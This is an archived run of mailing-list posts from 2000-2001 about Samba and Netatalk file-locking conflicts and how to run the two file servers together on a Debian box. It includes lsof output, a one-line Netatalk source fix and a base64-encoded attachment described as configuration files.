	 Wed, 18 Oct 2000 05:21:28 -0500
Received: (qmail 12081 invoked by uid 38); 18 Oct 2000 10:24:52 -0000
X-Envelope-Sender: m.brodbelt@acu.ac.uk
Received: (qmail 12027 invoked from network); 18 Oct 2000 10:24:49 -0000
Received: from castor.acu.ac.uk (194.81.120.81)
  by murphy.debian.org with SMTP; 18 Oct 2000 10:24:49 -0000
Received: from acu.ac.uk (arcturus.acu.ac.uk [194.81.120.110])
	by castor.acu.ac.uk (8.9.1/8.9.1) with ESMTP id LAA16299;
	Wed, 18 Oct 2000 11:22:15 +0100
Message-ID: <39ED79D6.54E4604@acu.ac.uk>
Date: Wed, 18 Oct 2000 11:22:14 +0100
From: Mike Brodbelt <m.brodbelt@acu.ac.uk>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Mike Fedyk <mfedyk@matchmail.com>
CC: Samba ML <samba@us4.samba.org>,
        Debian User List <debian-user@lists.debian.org>,
        Netatalk ML <netatalk-admins@umich.edu>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk to samba
References: <39ED5B50.C9E335@matchmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <aqeuBB.A.b8C.zpX75@murphy>
Resent-From: debian-user@lists.debian.org
X-Mailing-List: <debian-user@lists.debian.org> archive/latest/113197
X-Loop: debian-user@lists.debian.org
Precedence: list
Resent-Sender: debian-user-request@lists.debian.org


Mike Fedyk wrote:
> 
> Take a look at this output from lsof:
> smbd    11490        0    8u   REG    3,3 55296 1136647 Maintenanc.fp5
> afpd    31010        0    2u   REG    3,3  3207 1136655 auction - envelope.rtf
> afpd    31010        0    5u   REG    3,3  4156 1136656 Word Work File L 1
> afpd    31010        0    8u   REG    3,3 55296 1136647 Maintenanc.fp5
> smbd    31386        0    9u   REG    3,3  4156 1136656 Word Work File L 1
> 
> This is showing a rtf file open in word on mac and windows, both writable.  I am
> able to save on one while the other has the same file open.  The information
> isn't transferring between samba and netatalk.  Locking works within samba and
> within netatalk, meaning mac-mac locking conflicts are reported and smb-smb
> locking conflicts are too.  But if you have the same file open in windows and
> mac, there isn't any warning!

As I understand it, Samba 2.0.7 implements oplocks for windows clients,
but those locks do not propagate to the underlying Unix system. This can
cause locking problems with Unix apps and windows apps accessing the
same files, which is essentially what you are seeing. Neither Netatalk
or Samba have any idea that the file is locked by the other.

One of the new features of Samba 2.2 is the mapping of oplocks to POSIX
locks. From the release notes:-

========================================================
Rewritten internal locking semantics for more robustness.
This alpha supports full 64 bit locking semantics on all
(even 32 bit) platforms. SMB locks are mapped onto POSIX
locks (32 bit or 64 bit) as the underlying system allows.
========================================================

This should mean that, assuming your undelying system supports POSIX
locks, then Samba will have done its bit with regard to this. You still
need Netatalk to honour the POSIX locks, and also to map Mac locks to
POSIX locks to be able to use this sort of setup with impunity. I have
no idea what the state of this sort of thing is within Netatalk - maybe
someone on the Netatalk list will know this...

I'd suggest that you make Mac and Windows users use different shares for
write access. Allow both groups read-only access to the others shares,
and if they need to edit a file, they can make a copy. Otherwise, you're
probably in for large amounts of pain....

HTH

Mike.


-- 
Unsubscribe?  mail -s unsubscribe debian-user-request@lists.debian.org < /dev/null

From netatalk.administrators-errors@umich.edu  Tue Mar 13 06:09:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA21762
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 06:09:43 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA03334
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 06:09:36 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA03319
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 06:09:35 -0500 (EST)
Received: from mail.houston.rr.com ([24.93.35.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA03278
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 06:09:34 -0500 (EST)
Resent-Date: Tue, 13 Mar 2001 06:09:34 -0500 (EST)
Received: from mail pickup service by mail.houston.rr.com with Microsoft SMTPSVC;
	 Tue, 13 Mar 2001 04:57:55 -0600
Received: from murphy.debian.org ([216.234.231.6]) by mail.houston.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Wed, 18 Oct 2000 03:09:01 -0500
Received: (qmail 5803 invoked by uid 38); 18 Oct 2000 08:12:26 -0000
X-Envelope-Sender: mfedyk@matchmail.com
Received: (qmail 5748 invoked from network); 18 Oct 2000 08:12:24 -0000
Received: from adsl-63-194-239-202.dsl.lsan03.pacbell.net (HELO gateway.matchmail.com) (63.194.239.202)
  by murphy.debian.org with SMTP; 18 Oct 2000 08:12:24 -0000
Received: from mmp132.matchmail.com (matchmail.com) [10.0.0.132] 
	by gateway.matchmail.com with esmtp (Exim 3.12 #1 (Debian))
	id 13loKk-0000Nr-00; Wed, 18 Oct 2000 01:12:22 -0700
Message-ID: <39ED5B50.C9E335@matchmail.com>
Date: Wed, 18 Oct 2000 01:12:00 -0700
From: Mike Fedyk <mfedyk@matchmail.com>
X-Mailer: Mozilla 4.74 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Samba ML <samba@us5.samba.org>,
        Debian User List <debian-user@lists.debian.org>,
        Netatalk ML <netatalk-admins@umich.edu>
Subject: Locking propigation probelm samba to netatalk & netatalk to samba
Content-Type: multipart/mixed;
 boundary="------------497868722A60F14CF1944665"
Resent-Message-ID: <51qGHB.A.gaB.ptV75@murphy>
Resent-From: debian-user@lists.debian.org
X-Mailing-List: <debian-user@lists.debian.org> archive/latest/113180
X-Loop: debian-user@lists.debian.org
Precedence: list
Resent-Sender: debian-user-request@lists.debian.org

This is a multi-part message in MIME format.
--------------497868722A60F14CF1944665
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Take a look at this output from lsof:
smbd    11490        0    8u   REG    3,3 55296 1136647 Maintenanc.fp5
afpd    31010        0    2u   REG    3,3  3207 1136655 auction - envelope.rtf
afpd    31010        0    5u   REG    3,3  4156 1136656 Word Work File L 1
afpd    31010        0    8u   REG    3,3 55296 1136647 Maintenanc.fp5
smbd    31386        0    9u   REG    3,3  4156 1136656 Word Work File L 1

This is showing a rtf file open in word on mac and windows, both writable.  I am
able to save on one while the other has the same file open.  The information
isn't transferring between samba and netatalk.  Locking works within samba and
within netatalk, meaning mac-mac locking conflicts are reported and smb-smb
locking conflicts are too.  But if you have the same file open in windows and
mac, there isn't any warning!

I've turned off oplocks, level 2 oplocks, kernel oplocks and turned on strict
locking.  Same difference.

This is a Debian 2.2 box running 2.2.17  I am attaching my netatalk and samba
configs.

Please help!

I'm getting corrupted files because of this. :(
-- 

Mike Fedyk                   "They that can give up essential liberty
Information Systems           to obtain a little temporary safety
Match Mail Productions Inc.   deserve neither liberty nor safety."
mfedyk@matchmail.com                                   Ben Franklin
--------------497868722A60F14CF1944665
Content-Type: application/x-gzip;
 name="config.tar.gz"
Content-Transfer-Encoding: base64
Content-Disposition: inline;
 filename="config.tar.gz"

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
pCY1qUl/efo3Cv/sNAB4AAA=
--------------497868722A60F14CF1944665--


-- 
Unsubscribe?  mail -s unsubscribe debian-user-request@lists.debian.org < /dev/null

From netatalk.administrators-errors@umich.edu  Tue Mar 13 08:18:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA24055
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 08:18:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18427
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 08:18:12 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18397
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 08:18:11 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id IAA18334
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 08:18:09 -0500 (EST)
Received: (qmail 19593 invoked by uid 500); 13 Mar 2001 13:18:04 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 13 Mar 2001 13:18:04 -0000
Date: Tue, 13 Mar 2001 07:18:04 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Pre 4 and 5
Message-ID: <Pine.LNX.4.30.0103130716140.19591-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Okay, since Pre 4 and Pre 5 have issues relating to file perms and
copy/delete problems on RH 7, what happened after 3 to cause these
problems?

Thanks.
-Dan


From netatalk.administrators-errors@umich.edu  Tue Mar 13 08:29:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA24266
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 08:29:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06298
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 08:29:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA06292
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 08:29:43 -0500 (EST)
Received: from ns.srz-berlin.de (ns.srz-berlin.de [212.5.11.1])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA06247
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 08:29:41 -0500 (EST)
Received: from srz-berlin.de (gw.srz-berlin.de [212.5.11.2])
	by ns.srz-berlin.de (8.8.7/8.8.7) with ESMTP id OAA27026
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 14:29:34 +0100
Sender: bringi@ns.srz-berlin.de
Message-ID: <3AAE209C.AC477DFA@srz-berlin.de>
Date: Tue, 13 Mar 2001 14:29:00 +0100
From: Axel Bringenberg <A.Bringenberg@srz-berlin.de>
Organization: Satz-Rechen-Zentrum Berlin - Systemgruppe (http://www.srz.de)
X-Mailer: Mozilla 4.76 [de] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: de-DE, en
MIME-Version: 1.0
CC: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Pre 4 and 5
References: <Pine.LNX.4.30.0103130716140.19591-100000@www.molbio.wisc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Daniel E. Lautenschleger" schrieb:
> 
> Okay, since Pre 4 and Pre 5 have issues relating to file perms and
> copy/delete problems on RH 7, what happened after 3 to cause these
> problems?

imho the problems are caused by a change in ./libatalk/adouble/ad_open.c
from 
	admode = ad_mode( ad_p, mode );
to
	admode = ad_mode( ad_p, O_RDWR );
Changing back to the original line solves the problem - at least for me.

Regards.
- Axel

From netatalk.administrators-errors@umich.edu  Tue Mar 13 10:07:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27732
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 13 Mar 2001 10:07:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA26957
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 13 Mar 2001 10:07:25 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA26897
	for netatalk.administrators-members@umich.edu; Tue, 13 Mar 2001 10:07:23 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA26764
	for <netatalk-admins@umich.edu>; Tue, 13 Mar 2001 10:07:22 -0500 (EST)
Received: (qmail 19668 invoked by uid 500); 13 Mar 2001 15:07:22 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 13 Mar 2001 15:07:22 -0000
Date: Tue, 13 Mar 2001 09:07:22 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Mike Brodbelt <m.brodbelt@acu.ac.uk>
cc: Mike Fedyk <mfedyk@matchmail.com>, Samba ML <samba@us4.samba.org>,
        Debian User List <debian-user@lists.debian.org>,
        Netatalk ML <netatalk-admins@umich.edu>
Subject: Re: Locking propigation probelm samba to netatalk & netatalk to
 samba
In-Reply-To: <39ED79D6.54E4604@acu.ac.uk>
Message-ID: <Pine.LNX.4.30.0103130856020.19591-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

This is the type of information many of us have been looking for with
respect to Netatalk and Samba coexisting in a "friendly" matter. Many of
the replies I received when originally asking whether the two behaved
together basically stated that the biggest problem was a Windows user and
a Netatalk user accessing the same file at the same time.

Some of the other comments regarding Samba and Netatalk being used on the
same share...


Sorry about the long post, but this is pretty important to a lot of
people.

-----

I've been doing this for awhile.  I have a stable netatalk/samba server
at netatalk 1.4b2+asun.  No trouble; unless my users aren't telling me.
Read the mailing lists - there a --with-netatalk config time option (not
in the build docs that I could see, but it was covered on the mailing
list IIRC).  --with-netatalk is currently an experimental hack, if I
remember, it forces samba to move the .AppleDouble entries if a PC user
moves files around from the PC (so as not to pooch appleshare side
stuff).  Don't know how reliable it is, I only included that option on
the most recent server I config'd and it hasn't been tested thoroughly
yet.

-----

I've been researching this for a while, and the biggest problem I've seen
is incompatible locking.  Simultaneously opening a datafile from both a
Samba connected PC and a Netatalk connected Mac can cause strange things
to
happen if they both try to modify the file.  There are no errors, and the
file can easily be corrupted.

AFAIK the --with-netatalk in Samba does nothing.  Unless something has
been
changed recently, it was a feature that was never finished.

----

The two seem to co-exist together pretty well.  Rich made a
few valid points with .AppleDouble files.

        However, there is one thing that you may want to bring up in
regards to Windows and Linux users.  You need to let them know that
they can't create files greater than 32 characters or the Mac users
won't be a able to see them.  And you will get holy hell from your
Mac users when they call you and day "Bob said that he put the file
on the server, but I can't see it, is the server broken?"
        So, you may need to do some social engineering with your
Windows and Linux users to make sure that they understand the
limitation.  They will forget about it anyway, so make sure you have
them sign something.  :-)  Can you tell I've been an Admin for way
too long?

----

There is some sort of enable-netatalk-compatibility (or something similar
to that) option in Samba which is supposed to, I repeat *supposed to* make
it easier for netatalk to understand the file types.  But I've never tried
it and I've heard some say that it doesn't work and they can't figure out
what that feature is supposed to be for.  Might be worth investigating,
though.

----

On the other hand I had the oportunity to look pretty deep into samba's
mechanisms and I never heard or read about any  "netatalk compatibility"
option though. So personnaly I would say go for it, but make sure of two
things to avoid mac users coming at you complaining about generic icons
and
apps not launching:

- first have your .AppleVolumes.system up to date so files coming from a
PC
(and without resources fork) are seen properly on macs. The
.AppleVolume.system does that by "telling" files to assume such or such
mac-identity according to their file extension.

